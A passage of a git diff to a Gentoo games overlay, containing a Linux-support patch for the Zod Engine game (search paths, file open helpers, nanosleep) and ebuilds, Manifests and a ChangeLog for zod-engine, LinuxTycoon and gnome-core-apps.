zod_engine.new/zod_launcher_src/zod_launcherFrm.cpp 2012-05-06 16:16:19.000000000 +0200 +@@ -10,6 +10,7 @@ + + #include "zod_launcherFrm.h" + #include "store_settings.h" ++#include "common.h" + + //Do not add custom headers between + //Header Include Start and Header Include End +@@ -215,7 +216,7 @@ + #ifdef _WIN32 + message = wxT("zod_engine.exe"); + #else +- message = wxT("./zod"); ++ message = wxT("zod"); + #endif + + if(WxEdit1->GetValue().length()) +diff -burN zod_engine/zod_src/cgatling.cpp zod_engine.new/zod_src/cgatling.cpp +--- zod_engine/zod_src/cgatling.cpp 2011-09-06 17:35:10.000000000 +0200 ++++ zod_engine.new/zod_src/cgatling.cpp 2012-05-05 17:26:16.000000000 +0200 +@@ -53,7 +53,7 @@ + for(j=0;j + #include + #include ++#include + #include "common.h" + + #ifdef _WIN32 + #include + #include + #include ++ ++#define OSPATH_SEP '\\' ++ + #else + #include + #include +@@ -16,20 +20,257 @@ + #include + #include + #include ++ ++#define OSPATH_SEP '/' ++ + #endif + + namespace COMMON + { + +-void create_folder(char *foldername) ++//base data path for the engine ++static char base_path[FILENAME_MAX]; ++//home (user specific) data path for the engine ++static char home_path[FILENAME_MAX]; ++ ++static bool path_concat(const char *base, const char *file, char *dest) ++{ ++ size_t i; ++ size_t len; ++ char c; ++ bool was_sep; ++ ++ // base path is an OS specific path ++ len = 0; ++ for (i = 0; len < (FILENAME_MAX - 1) && base[i] != '\0'; i++) ++ dest[len++] = base[i]; ++ ++ // this also catches base[i] != '\0' ++ if (len == (FILENAME_MAX - 1)) ++ return false; ++ ++ ++ // ensure base is terminated by OSPATH_SEP ++ if (len == 0 || dest[len - 1] != OSPATH_SEP) ++ dest[len++] = OSPATH_SEP; ++ ++ was_sep = true; ++ ++ // file name could have both '/' or '\\' for path separation ++ for (i = 0; len < (FILENAME_MAX - 1) && file[i] != '\0'; i++) { ++ char c = file[i]; ++ if (c == '/' || c == '\\') { ++ // ignore double separators ++ if (was_sep) ++ continue; ++ ++ c = OSPATH_SEP; ++ was_sep = true; ++ } else { ++ was_sep = false; ++ } ++ ++ dest[len++] = c; ++ } ++ ++ if (file[i] != '\0') ++ return false; ++ ++ dest[len] = '\0'; ++ return true; ++} ++ ++static vector scan_folder(string foldername) ++{ ++ vector list; ++ ++#ifdef _WIN32 ++ ++ HANDLE hFind = INVALID_HANDLE_VALUE; ++ WIN32_FIND_DATA ffd; ++ ++ foldername += "*"; ++ ++ hFind = FindFirstFile(foldername.c_str(), &ffd); ++ ++ if(INVALID_HANDLE_VALUE == hFind) return filelist; ++ ++ do ++ { ++ if(!(ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) ++ list.push_back((char*)ffd.cFileName); ++ } ++ while (FindNextFile(hFind, &ffd) != 0); ++ ++ FindClose(hFind); ++ ++#else ++ ++ DIR *dp; ++ struct dirent *dirp; ++ ++ dp = opendir(foldername.c_str()); ++ ++ if (dp) { ++ ++ while ((dirp = readdir(dp)) != NULL) ++ { ++ if(dirp->d_type == DT_REG) ++ list.push_back(dirp->d_name); ++ } ++ ++ closedir(dp); ++ } ++ ++#endif ++ ++ return list; ++} ++ ++static bool file_exists(const char*filename) ++{ ++#ifdef _WIN32 ++ ++ DWORD attrs = GetFileAttributes(filename); ++ return (attrs != INVALID_FILE_ATTRIBUTES); ++ ++#else ++ ++ return (access(filename, R_OK) == 0); ++ ++#endif ++ ++} ++ ++void init_file_paths(const char *bin_path) ++{ ++ base_path[0] = '\0'; ++ ++#ifdef DATA_PATH ++ //compilation defined base path, ignore if too long ++ if (strlen(DATA_PATH) < FILENAME_MAX) ++ strcpy(base_path, DATA_PATH); ++#endif ++ ++ if (base_path[0] == '\0' && bin_path && bin_path[0] != '\0') { ++ //default to binary path dirname ++ char dirname[FILENAME_MAX]; ++ size_t len; ++ ++ len = strlen(bin_path); ++ if (len < FILENAME_MAX) { ++ strcpy(base_path, bin_path); ++ //find the last separator ++ do len--; while (len > 0 && base_path[len] != OSPATH_SEP); ++ ++ base_path[len] = '\0'; ++ } ++ } ++ ++ // if no explicit directory is specified ++ // default to current working directory ++ if (base_path[0] == '\0') ++ strcpy(base_path, "."); ++ ++ // get home path ++ home_path[0] = '\0'; ++ ++#ifdef _WIN32 ++ // on Windows home path is equivalent to base path ++ strcpy(home_path, base_path); ++ ++#else ++ // on Unix platforms use a specific directory in home ++ const char *home = getenv("HOME"); ++ if (home && home[0] != '\0') { ++ if (path_concat(home, ".zod-engine", home_path)) ++ create_folder(home_path); ++ else ++ home_path[0] = '\0'; ++ } ++ ++#endif ++ ++} ++ ++void create_folder(const char *foldername) + { +-#ifdef WIN32 //if windows ++#ifdef _WIN32 //if windows + mkdir(foldername); + #else + mkdir(foldername,-1); + #endif + } + ++bool get_os_path(const char *filename, bool read_only, char *dest) ++{ ++ ++ if (read_only) ++ { ++ if (home_path[0]) ++ { ++ if (path_concat(home_path, filename, dest) && file_exists(dest)) ++ return true; ++ } ++ ++ return path_concat(base_path, filename, dest) && file_exists(dest); ++ ++ } ++ else ++ { ++ if (home_path[0] != '\0') ++ return path_concat(home_path, filename, dest); ++ else ++ return false; ++ } ++} ++ ++FILE *open_file_read(const char *filename, bool binary) ++{ ++ char path[FILENAME_MAX]; ++ const char *mode; ++ FILE *fp; ++ ++ fp = NULL; ++ mode = (binary)? "rb" : "r"; ++ if (home_path[0] != '\0') { ++ // if home directory is available, pick the file from there, ++ // as there is where we can find user specific overrides ++ // of our files ++ if (path_concat(home_path, filename, path)) ++ fp = fopen(path, mode); ++ } ++ ++ if (!fp) { ++ // retrieve the file from the data directory ++ if (path_concat(base_path, filename, path)) ++ fp = fopen(path, mode); ++ } ++ ++ return fp; ++} ++ ++FILE *open_file_write(const char *filename, bool binary, bool append) ++{ ++ FILE *fp = NULL; ++ if (home_path[0] != '\0') { ++ //files can only be created in home path ++ char path[FILENAME_MAX]; ++ ++ if (path_concat(home_path, filename, path)) { ++ // determine open mode ++ char mode[3]; ++ ++ mode[0] = (append)? 'a' : 'w'; ++ mode[1] = (binary)? 'b' : '\0'; ++ mode[2] = '\0'; ++ fp = fopen(path, mode); ++ } ++ } ++ ++ return fp; ++} ++ + double current_time() + { + #ifdef WIN32 +@@ -139,7 +380,18 @@ + #ifdef _WIN32 //if windows + Sleep(m_sec); //win version + #else +- usleep(m_sec * 1000); //lin version ++ struct timespec ts; //use nanosleep() ++ int secs; ++ int mills; ++ int res; ++ ++ secs = m_sec / 1000; ++ mills = m_sec - secs * 1000; ++ ts.tv_sec = secs; ++ ts.tv_nsec = mills * 1000000L; ++ ++ do res = nanosleep(&ts, &ts); while (res == -1 && errno == EINTR); ++ + #endif + } + +@@ -229,7 +481,7 @@ + lt = time(NULL); + ptr = localtime(<); + +- ofp = fopen("reg_log.txt","a"); ++ ofp = open_file_write("reg_log.txt",false,true); + + strcpy(timebuf, asctime(ptr)); + clean_newline(timebuf, 100); +@@ -259,7 +511,7 @@ + { + FILE *fp; + +- fp = fopen(filename, "a"); ++ fp = open_file_write(filename, false, true); + + if(!fp) return false; + +@@ -270,51 +522,37 @@ + + vector directory_filelist(string foldername) + { +- vector filelist; ++ vector list; ++ vector base; ++ vector merged; ++ char path[FILENAME_MAX]; + +-#ifdef _WIN32 ++ // scan both base and home folders ++ if (path_concat(home_path, foldername.c_str(), path)) ++ list = scan_folder(path); + +- HANDLE hFind = INVALID_HANDLE_VALUE; +- WIN32_FIND_DATA ffd; ++ if (path_concat(base_path, foldername.c_str(), path)) ++ base = scan_folder(path); + +- foldername += "*"; ++ // for (size_t i=0;i::iterator el; + +- if(INVALID_HANDLE_VALUE == hFind) return filelist; ++ el = lower_bound(list.begin(), list.end(), base[i], sort_string_func); ++ if (el != list.end() && *el == base[i]) ++ continue; + +- do +- { +- if(!(ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) +- filelist.push_back((char*)ffd.cFileName); ++ merged.push_back(base[i]); + } +- while (FindNextFile(hFind, &ffd) != 0); +- +- FindClose(hFind); +- +-#else +- DIR *dp; +- struct dirent *dirp; +- +- if(!foldername.size()) foldername = "."; +- +- dp = opendir(foldername.c_str()); +- +- if(!dp) return filelist; +- +- while ((dirp = readdir(dp)) != NULL) +- { +- if(dirp->d_type == DT_REG) +- filelist.push_back(dirp->d_name); +- } +- +- closedir(dp); +- +-#endif + +- //for(int i=0;i &filelist, string extension) +diff -burN zod_engine/zod_src/common.h zod_engine.new/zod_src/common.h +--- zod_engine/zod_src/common.h 2011-09-06 17:35:07.000000000 +0200 ++++ zod_engine.new/zod_src/common.h 2012-05-05 20:39:00.000000000 +0200 +@@ -1,6 +1,7 @@ + #ifndef _COMMON_H_ + #define _COMMON_H_ + ++#include + #include + #include + #include +@@ -19,12 +20,16 @@ + int x, y; + }; + ++ extern void init_file_paths(const char *bin_path); ++ extern bool get_os_path(const char *filename, bool read_only, char*dest); ++ extern FILE *open_file_read(const char *filename, bool binary); ++ extern FILE *open_file_write(const char *filename, bool binary, bool append); + extern void split(char *dest, char *message, char split, int *initial, int d_size, int m_size); + extern void clean_newline(char *message, int size); + extern void lcase(char *message, int m_size); + extern void lcase(string &message); + extern double current_time(); +- extern void create_folder(char *foldername); ++ extern void create_folder(const char *foldername); + extern void uni_pause(int m_sec); + extern char *wtoc_s(const wchar_t *input); + extern char *wtoc(const wchar_t *input, char *dest, int size); +diff -burN zod_engine/zod_src/cursor.cpp zod_engine.new/zod_src/cursor.cpp +--- zod_engine/zod_src/cursor.cpp 2011-09-06 17:35:10.000000000 +0200 ++++ zod_engine.new/zod_src/cursor.cpp 2012-05-05 17:31:02.000000000 +0200 +@@ -24,56 +24,56 @@ + cursor[CURSOR_C][0][j].LoadBaseImage(filename_c); + + sprintf(filename_c, "assets/cursors/placed_n%02d.png", j); +- temp_surface = IMG_Load(filename_c); ++ temp_surface = ZSDL_IMG_Load(filename_c, false); + cursor[PLACED_C][0][j].LoadBaseImage(temp_surface, false); + cursor[PLACE_C][0][j].LoadBaseImage(temp_surface); + //cursor[PLACED_C][0][j] = IMG_Load_Error(filename_c); + //cursor[PLACE_C][0][j] = cursor[PLACED_C][0][j]; + + sprintf(filename_c, "assets/cursors/attacked_n%02d.png", j); +- temp_surface = IMG_Load(filename_c); ++ temp_surface = ZSDL_IMG_Load(filename_c, false); + cursor[ATTACKED_C][0][j].LoadBaseImage(temp_surface, false); + cursor[ATTACK_C][0][j].LoadBaseImage(temp_surface); + //cursor[ATTACKED_C][0][j] = IMG_Load_Error(filename_c); + //cursor[ATTACK_C][0][j] = cursor[ATTACKED_C][0][j]; + + sprintf(filename_c, "assets/cursors/grabbed_n%02d.png", j); +- temp_surface = IMG_Load(filename_c); ++ temp_surface = ZSDL_IMG_Load(filename_c, false); + cursor[GRABBED_C][0][j].LoadBaseImage(temp_surface, false); + cursor[GRAB_C][0][j].LoadBaseImage(temp_surface); + //cursor[GRABBED_C][0][j] = IMG_Load_Error(filename_c); + //cursor[GRAB_C][0][j] = cursor[GRABBED_C][0][j]; + + sprintf(filename_c, "assets/cursors/grenaded_n%02d.png", j); +- temp_surface = IMG_Load(filename_c); ++ temp_surface = ZSDL_IMG_Load(filename_c, false); + cursor[GRENADED_C][0][j].LoadBaseImage(temp_surface, false); + cursor[GRENADE_C][0][j].LoadBaseImage(temp_surface); + //cursor[GRENADED_C][0][j] = IMG_Load_Error(filename_c); + //cursor[GRENADE_C][0][j] = cursor[GRENADED_C][0][j]; + + sprintf(filename_c, "assets/cursors/repaired_n%02d.png", j); +- temp_surface = IMG_Load(filename_c); ++ temp_surface = ZSDL_IMG_Load(filename_c, false); + cursor[REPAIRED_C][0][j].LoadBaseImage(temp_surface, false); + cursor[REPAIR_C][0][j].LoadBaseImage(temp_surface); + //cursor[REPAIRED_C][0][j] = IMG_Load_Error(filename_c); + //cursor[REPAIR_C][0][j] = cursor[REPAIRED_C][0][j]; + + sprintf(filename_c, "assets/cursors/entered_n%02d.png", j); +- temp_surface = IMG_Load(filename_c); ++ temp_surface = ZSDL_IMG_Load(filename_c, false); + cursor[ENTERED_C][0][j].LoadBaseImage(temp_surface, false); + cursor[ENTER_C][0][j].LoadBaseImage(temp_surface); + //cursor[ENTERED_C][0][j] = IMG_Load_Error(filename_c); + //cursor[ENTER_C][0][j] = cursor[ENTERED_C][0][j]; + + sprintf(filename_c, "assets/cursors/exited_n%02d.png", j); +- temp_surface = IMG_Load(filename_c); ++ temp_surface = ZSDL_IMG_Load(filename_c, false); + cursor[EXITED_C][0][j].LoadBaseImage(temp_surface, false); + cursor[EXIT_C][0][j].LoadBaseImage(temp_surface); + //cursor[EXITED_C][0][j] = IMG_Load_Error(filename_c); + //cursor[EXIT_C][0][j] = cursor[EXITED_C][0][j]; + + sprintf(filename_c, "assets/cursors/cannoned_n%02d.png", j); +- temp_surface = IMG_Load(filename_c); ++ temp_surface = ZSDL_IMG_Load(filename_c, false); + cursor[CANNONED_C][0][j].LoadBaseImage(temp_surface, false); + cursor[CANNON_C][0][j].LoadBaseImage(temp_surface); + //cursor[CANNONED_C][0][j] = IMG_Load_Error(filename_c); +diff -burN zod_engine/zod_src/main.cpp zod_engine.new/zod_src/main.cpp +--- zod_engine/zod_src/main.cpp 2011-09-06 17:35:11.000000000 +0200 ++++ zod_engine.new/zod_src/main.cpp 2012-05-05 17:49:03.000000000 +0200 +@@ -42,7 +42,7 @@ + + printf("Welcome to the Zod Engine\n"); + +- if(argc<=1) starting_conditions.setdefaults(); ++ if(argc==1) starting_conditions.setdefaults(); + + //read in the arguments + starting_conditions.getoptions(argc, argv); +@@ -51,6 +51,9 @@ + //like we are trying to make a dedicated server that is supposed to connect to another server + starting_conditions.checkoptions(); + ++ //init engine search paths ++ COMMON::init_file_paths(argv[0]); ++ + //init this for the bots + ZCore::CreateRandomBotBypassData(bot_bypass_data, bot_bypass_size); + +diff -burN zod_engine/zod_src/makefile zod_engine.new/zod_src/makefile +--- zod_engine/zod_src/makefile 2011-09-06 17:35:07.000000000 +0200 ++++ zod_engine.new/zod_src/makefile 2012-05-06 04:03:47.000000000 +0200 +@@ -18,6 +18,9 @@ + MAPEDITOR_OFILES = map_editor.o $(CPPFILES:.cpp=.o) + DATE = `date +%m-%d-%y` + ++ifdef DATA_PATH ++ CFLAGS += -D DATA_PATH=\"$(DATA_PATH)\" ++endif + + main: $(OFILES) + $(CC) -o $(EXENAME) $(OFILES) $(LDFLAGS) +diff -burN zod_engine/zod_src/map_editor.cpp zod_engine.new/zod_src/map_editor.cpp +--- zod_engine/zod_src/map_editor.cpp 2011-09-06 17:35:11.000000000 +0200 ++++ zod_engine.new/zod_src/map_editor.cpp 2012-05-05 21:50:20.000000000 +0200 +@@ -270,6 +270,8 @@ + //check if args ok + if(!checkargs(argv[0])) return 0; + ++ //init filesystem search paths ++ COMMON::init_file_paths(argv[0]); + //init SDL + SDL_Init(SDL_INIT_VIDEO|SDL_INIT_AUDIO); + screen = SDL_SetVideoMode(800,600,32,SDL_HWSURFACE|SDL_DOUBLEBUF|SDL_RESIZABLE); +@@ -287,8 +289,15 @@ + ZSDL_Surface::SetHasHud(false); + + //TTF ++ char path[FILENAME_MAX]; ++ + TTF_Init(); +- ttf_font = TTF_OpenFont("assets/arial.ttf",10); ++ ttf_font = NULL; ++ if (COMMON::get_os_path("assets/arial.ttf", true, path)) ++ { ++ ttf_font = TTF_OpenFont(path,10); ++ } ++ + if (!ttf_font) printf("could not load arial.ttf\n"); + + //init stuff +@@ -499,10 +508,8 @@ + //save the map + { + bmp_filename = filename + ".bmp"; +- + printf("saving map screenshot: '%s'\n", bmp_filename.c_str()); +- +- SDL_SaveBMP(print_surface, bmp_filename.c_str()); ++ ZSDL_SaveBMP(print_surface, filename); + } + + SDL_FreeSurface(print_surface); +diff -burN zod_engine/zod_src/map_merger.cpp zod_engine.new/zod_src/map_merger.cpp +--- zod_engine/zod_src/map_merger.cpp 2011-09-06 17:35:11.000000000 +0200 ++++ zod_engine.new/zod_src/map_merger.cpp 2012-05-05 16:17:15.000000000 +0200 +@@ -16,6 +16,9 @@ + return 0; + } + ++ //init filesystem paths ++ COMMON::init_file_paths(argv[0]); ++ + printf("argc:%d\n", argc); + printf("output_map:'%s'\n", argv[1]); + printf("direction:'%s'\n", argv[2]); +diff -burN zod_engine/zod_src/ogrenades.cpp zod_engine.new/zod_src/ogrenades.cpp +--- zod_engine/zod_src/ogrenades.cpp 2011-09-06 17:35:11.000000000 +0200 ++++ zod_engine.new/zod_src/ogrenades.cpp 2012-05-05 17:28:25.000000000 +0200 +@@ -24,7 +24,7 @@ + + void OGrenades::Init() + { +- render_img.LoadBaseImage("assets/other/map_items/grenades.png");// = ZSDL_IMG_Load("assets/other/map_items/grenades.png"); ++ render_img.LoadBaseImage("assets/other/map_items/grenades.png");// = ZSDL_IMG_Load("assets/other/map_items/grenades.png", true); + } + + void OGrenades::DoRender(ZMap &the_map, SDL_Surface *dest, int shift_x, int shift_y) +diff -burN zod_engine/zod_src/ohut.cpp zod_engine.new/zod_src/ohut.cpp +--- zod_engine/zod_src/ohut.cpp 2011-09-06 17:35:11.000000000 +0200 ++++ zod_engine.new/zod_src/ohut.cpp 2012-05-05 17:28:13.000000000 +0200 +@@ -42,7 +42,7 @@ + for(i=0;imap_name.c_str(), "rb"); ++ fp = COMMON::open_file_read(p->map_name.c_str(), true); + + if(fp) + { +diff -burN zod_engine/zod_src/zsettings.cpp zod_engine.new/zod_src/zsettings.cpp +--- zod_engine/zod_src/zsettings.cpp 2011-09-06 17:35:08.000000000 +0200 ++++ zod_engine.new/zod_src/zsettings.cpp 2012-05-05 16:31:45.000000000 +0200 +@@ -393,7 +393,7 @@ + { + FILE *fp; + +- fp = fopen(filename.c_str(), "r"); ++ fp = COMMON::open_file_read(filename.c_str(), false); + + if(!fp) + { +@@ -555,7 +555,7 @@ + { + FILE *fp; + +- fp = fopen(filename.c_str(), "w"); ++ fp = COMMON::open_file_write(filename.c_str(), false, false); + + if(!fp) + { +diff -burN zod_engine/zod_src/zteam.cpp zod_engine.new/zod_src/zteam.cpp +--- zod_engine/zod_src/zteam.cpp 2011-09-06 17:35:07.000000000 +0200 ++++ zod_engine.new/zod_src/zteam.cpp 2012-05-05 17:31:56.000000000 +0200 +@@ -113,7 +113,7 @@ + } + + //save surface +- SDL_SaveBMP(src, filename.c_str()); ++ ZSDL_SaveBMP(src, filename); + + //free surface + SDL_FreeSurface(src); +@@ -264,7 +264,7 @@ + if(team == ZTEAM_BASE_TEAM) return; + + filename = "assets/teams/" + team_type_string[team] + "_palette.bmp"; +- surface = IMG_Load(filename.c_str()); ++ surface = ZSDL_IMG_Load(filename.c_str(), false); + + if(!surface) + { +@@ -294,7 +294,7 @@ + + team_palette[team].SaveSurfacePalette(filename); + +- //SDL_SaveBMP(team_palette[team], filename.c_str()); ++ //ZSDL_SaveBMP(team_palette[team], filename); + } + + void ZTeam::SaveAllPalettes() diff --git a/games-strategy/zod-engine/zod-engine-20110906.ebuild b/games-strategy/zod-engine/zod-engine-20110906.ebuild new file mode 100644 index 00000000..86528d3e --- /dev/null +++ b/games-strategy/zod-engine/zod-engine-20110906.ebuild @@ -0,0 +1,71 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v3 +# $Header: $ + +EAPI="3" + +WX_GTK_VER="2.8" + +inherit wxwidgets eutils games + +MY_PN="zod_linux" +MY_P="${MY_PN}-${PV:0:4}-${PV:4:2}-${PV:6:2}" + +DESCRIPTION="Zod Engine is a remake of the 1996 classic game by Bitmap Brothers called Z" +HOMEPAGE="http://zod.sourceforge.net/" +SRC_URI="mirror://sourceforge/zod/${MY_P}.tar.gz" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +RDEPEND=" + >=media-libs/libsdl-1.2[X] + >=media-libs/sdl-ttf-2.0[X] + >=media-libs/sdl-mixer-1.2[timidity] + >=media-libs/sdl-image-1.2 + virtual/mysql + x11-libs/wxGTK:2.8[X]" +DEPEND="${RDEPEND}" + +S="${WORKDIR}/zod_engine" + +src_prepare() { + # various fixes and proper linux platform and filesystem support + epatch "${FILESDIR}/${P}-proper-linux-support.patch" + + # fix files, this project really should provide a make install + + # remove Thumbs.db files + find . -type f -name Thumbs.db -exec rm -f {} \; || die + # remove GIMP .xcf files + find . -type f -name "*.xcf" -exec rm -f {} \; || die + # remove Windows .ico files, unused on Linux build + find . -type f -name "*.ico" -exec rm -f {} \; || die + # remove useless icescene file + rm -f "assets/WebCamScene.icescene" || die + # remove unused splash screen + rm -f "assets/splash.png" || die +} + +src_compile() { + emake -C zod_src DATA_PATH="\"${GAMES_DATADIR}/${PN}\"" map_editor main || die + emake -C zod_launcher_src DATA_PATH="\"${GAMES_DATADIR}/${PN}\"" || die +} + +src_install() { + # custom install procedure for Gentoo + insinto "${GAMES_DATADIR}/${PN}" + doins -r assets blank_maps *.map default_settings.txt *map_list.txt || die + dogamesbin zod_launcher_src/zod_launcher || die + dogamesbin zod_src/zod || die + dogamesbin zod_src/zod_map_editor || die + + newicon assets/icon.png ${PN}.png || die + make_desktop_entry zod_launcher "Zod Engine" || die + + dodoc zod_engine_help.txt map_editor_help.txt || die + + prepgamesdirs +} diff --git a/games-tycoon/LinuxTycoon/LinuxTycoon-1.0.ebuild b/games-tycoon/LinuxTycoon/LinuxTycoon-1.0.ebuild new file mode 100644 index 00000000..d2bfa2bb --- /dev/null +++ b/games-tycoon/LinuxTycoon/LinuxTycoon-1.0.ebuild @@ -0,0 +1,31 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit unpacker multilib versionator eutils + +MY_PN="LinuxTycoon" +MY_PV=$(replace_version_separator 2 '-') +MY_P="${MY_PN}-${MY_PV}" + +DESCRIPTION="Lunduke made Linux Tycoon" +HOMEPAGE="http://lunduke.com/?page_id=2646" +SRC_URI="http://www.lunduke.com/linuxtycoon/${MY_PN}.tar.gz -> ${MY_P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" + +RESTRICT="fetch strip" + +RDEPEND="x11-libs/pango + media-libs/libpng:2 + x11-libs/pixman + amd64? ( + app-emulation/emul-linux-x86-gtklibs + app-emulation/emul-linux-x86-baselibs )" +DEPEND="" + +S="${WORKDIR}" diff --git a/games-tycoon/LinuxTycoon/Manifest b/games-tycoon/LinuxTycoon/Manifest new file mode 100644 index 00000000..1b68e486 --- /dev/null +++ b/games-tycoon/LinuxTycoon/Manifest @@ -0,0 +1,2 @@ +DIST LinuxTycoon-1.0.tar.gz 2114344 RMD160 9bc7c65f63402a1097641b126618826679e28514 SHA1 47a714d08ce48fb2a2b9158f5db55fa468ade55b SHA256 cc9aa32a33a54069a292a500fe55eae80d62a2583c72c6d677f19bfdcad13659 +EBUILD LinuxTycoon-1.0.ebuild 1208 RMD160 67cd0788d79e54da24d592b04974f73449f7eec8 SHA1 b6adf5663829dc5dc16f25b1a4554d960f076876 SHA256 52c0269effb825da0cdc2acb0b6d376de58c583d72a3d6ff5f49f1ff4abc4dc4 diff --git a/gnome-base/gnome-core-apps/ChangeLog b/gnome-base/gnome-core-apps/ChangeLog new file mode 100644 index 00000000..123323d1 --- /dev/null +++ b/gnome-base/gnome-core-apps/ChangeLog @@ -0,0 +1,46 @@ +# ChangeLog for gnome-base/gnome-core-apps +# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome-core-apps/ChangeLog,v 1.10 2013/01/06 09:35:24 ago Exp $ + + 06 Jan 2013; Agostino Sarubbo gnome-core-apps-3.6.2.ebuild: + Add ~sparc, wrt bug #449220 + + 01 Jan 2013; Agostino Sarubbo gnome-core-apps-3.6.2.ebuild: + Add ~alpha, wrt bug #449220 + + 01 Jan 2013; Agostino Sarubbo gnome-core-apps-3.6.2.ebuild: + Add ~ia64, wrt bug #449220 + + 31 Dec 2012; Agostino Sarubbo gnome-core-apps-3.6.2.ebuild: + Add ~ppc64, wrt bug #449220 + + 31 Dec 2012; Agostino Sarubbo gnome-core-apps-3.6.2.ebuild: + Add ~ppc, wrt bug #449220 + +*gnome-core-apps-3.6.2 (26 Dec 2012) + + 26 Dec 2012; Gilles Dartiguelongue + -gnome-core-apps-3.2.1.ebuild, +gnome-core-apps-3.6.2.ebuild: + Version bump. + + 05 Nov 2012; Ulrich Müller gnome-core-apps-3.2.1.ebuild, + gnome-core-apps-3.4.1.ebuild: + Change LICENSE to "metapackage", bug 440846. + +*gnome-core-apps-3.4.1 (10 Sep 2012) + + 10 Sep 2012; Alexandre Rostovtsev + +gnome-core-apps-3.4.1.ebuild: + Add gnome-3.4.1 meta. + + 05 Jan 2012; Alexandre Rostovtsev + gnome-core-apps-3.2.1.ebuild: + Add networkmanager USE flag, enabled by default, to make nm-applet optional + (bug #397635, thanks to Gert Wollny for reporting). + +*gnome-core-apps-3.2.1 (07 Nov 2011) + + 07 Nov 2011; Alexandre Rostovtsev + +gnome-core-apps-3.2.1.ebuild, +metadata.xml: + Add the sub-meta package for core gnome-3 applications from the gnome + overlay. diff --git a/gnome-base/gnome-core-apps/Manifest b/gnome-base/gnome-core-apps/Manifest new file mode 100644 index 00000000..27d908d0 --- /dev/null +++ b/gnome-base/gnome-core-apps/Manifest @@ -0,0 +1,4 @@ +EBUILD gnome-core-apps-3.6.2-r1.ebuild 1876 SHA256 90bc2928413c206a5afc8935e8d6ec4cb3ae0738039f05bf9a72a119549ae38f SHA512 0d9b695166f4abc425ef4ffdcb1bc4f33896d05dd1aa8268c774a764f90251c4dbb6a93fad0ce2b68f34399627bc853d65b6cca90bd06d9d4e021bb5500b590d WHIRLPOOL 07303388e3e6ac2af3a62023b296977e4ffdd502644e20771901594c02ed1164c2419d786c5c9723dd1f9c435f69913d06f6a9f895313ad48e0442db4f35e28f +EBUILD gnome-core-apps-3.6.2.ebuild 1876 SHA256 90bc2928413c206a5afc8935e8d6ec4cb3ae0738039f05bf9a72a119549ae38f SHA512 0d9b695166f4abc425ef4ffdcb1bc4f33896d05dd1aa8268c774a764f90251c4dbb6a93fad0ce2b68f34399627bc853d65b6cca90bd06d9d4e021bb5500b590d WHIRLPOOL 07303388e3e6ac2af3a62023b296977e4ffdd502644e20771901594c02ed1164c2419d786c5c9723dd1f9c435f69913d06f6a9f895313ad48e0442db4f35e28f +MISC ChangeLog 1707 SHA256 e263bd0de341a84a53f6fa8546319d0a47a93cfa3b219bed54acb151c26deb6f SHA512 83c798b1089409e16ed3cea9b637f93639637d2f7041881055c715648fdbc6ffd9662b5186b7f9b5761222d418672f0d31de3e851b88dfa59cbb745816ca9f46 WHIRLPOOL 5a4413c968455a8c1e12f562aa21863c61f0f0c407a7299f67fbcf7933f3dc238b7dbaadcdad11276eb6ceeb4f81ef799ce5ee0930806be037bc90d5800ec8ca +MISC metadata.xml 158 SHA256 3a7dbca0fdc557de69783e0663e2d76ddab129ea8a19b2d0ef6d3e5d1b947ce1 SHA512 7fbfbd2b3ed1b81867d55648509f778fdbe2091af53727b3426a3c7f453ae7e1663a99fdd2101508b8d6c85b3158459c93551b77a6a394f02d7e11cbc8a5ecf4 WHIRLPOOL 4bcd5662974877d42ebc4361b6eb412bfeea2af7144b436ce7ed152327d554afc321c376625ba0bb85a704b70d86e3c4882dff3573047acddd8ffccf655d4f7e diff --git a/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2-r1.ebuild b/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2-r1.ebuild new file mode 100644 index 00000000..8b772655 --- /dev/null +++ b/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2-r1.ebuild @@ -0,0 +1,59 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild,v 1.6 2013/01/06 09:35:24 ago Exp $ + +EAPI="5" + +DESCRIPTION="Sub-meta package for the core applications integrated with GNOME 3" +HOMEPAGE="http://www.gnome.org/" +LICENSE="metapackage" +SLOT="3.0" +IUSE="+bluetooth +cdr cups +networkmanager totem-dep empathy-dep" + +# when unmasking for an arch +# double check none of the deps are still masked ! +KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86" + +# Note to developers: +# This is a wrapper for the core apps tightly integrated with GNOME 3 +# gtk-engines:2 is still around because it's needed for gtk2 apps +RDEPEND=" + >=gnome-base/gnome-core-libs-${PV}[cups?] + + >=gnome-base/gnome-session-${PV} + >=gnome-base/gnome-menus-3.6.1:3 + >=gnome-base/gnome-settings-daemon-3.6.3[cups?] + >=gnome-base/gnome-control-center-3.6.3[cups?] + + >=app-crypt/gcr-${PV} + >=gnome-base/nautilus-3.6.3 + >=gnome-base/gnome-keyring-${PV} + >=gnome-base/libgnome-keyring-3.6 + >=gnome-extra/evolution-data-server-${PV} + >=gnome-extra/gnome-power-manager-3.6 + >=gnome-extra/gnome-screensaver-3.6.1 + + >=app-crypt/seahorse-3.6.3 + >=app-editors/gedit-${PV} + >=app-text/evince-3.6.1 + >=gnome-extra/gnome-contacts-${PV} + >=media-gfx/eog-${PV} + totem-dep? ( >=media-video/totem-3.6.3 ) + empathy-dep? ( >=net-im/empathy-${PV} ) + >=x11-terms/gnome-terminal-3.6.1 + + >=gnome-extra/gnome-user-docs-${PV} + >=gnome-extra/yelp-${PV} + + >=x11-themes/gtk-engines-2.20.2:2 + >=x11-themes/gnome-icon-theme-${PV} + >=x11-themes/gnome-icon-theme-symbolic-${PV} + >=x11-themes/gnome-themes-standard-${PV} + + bluetooth? ( 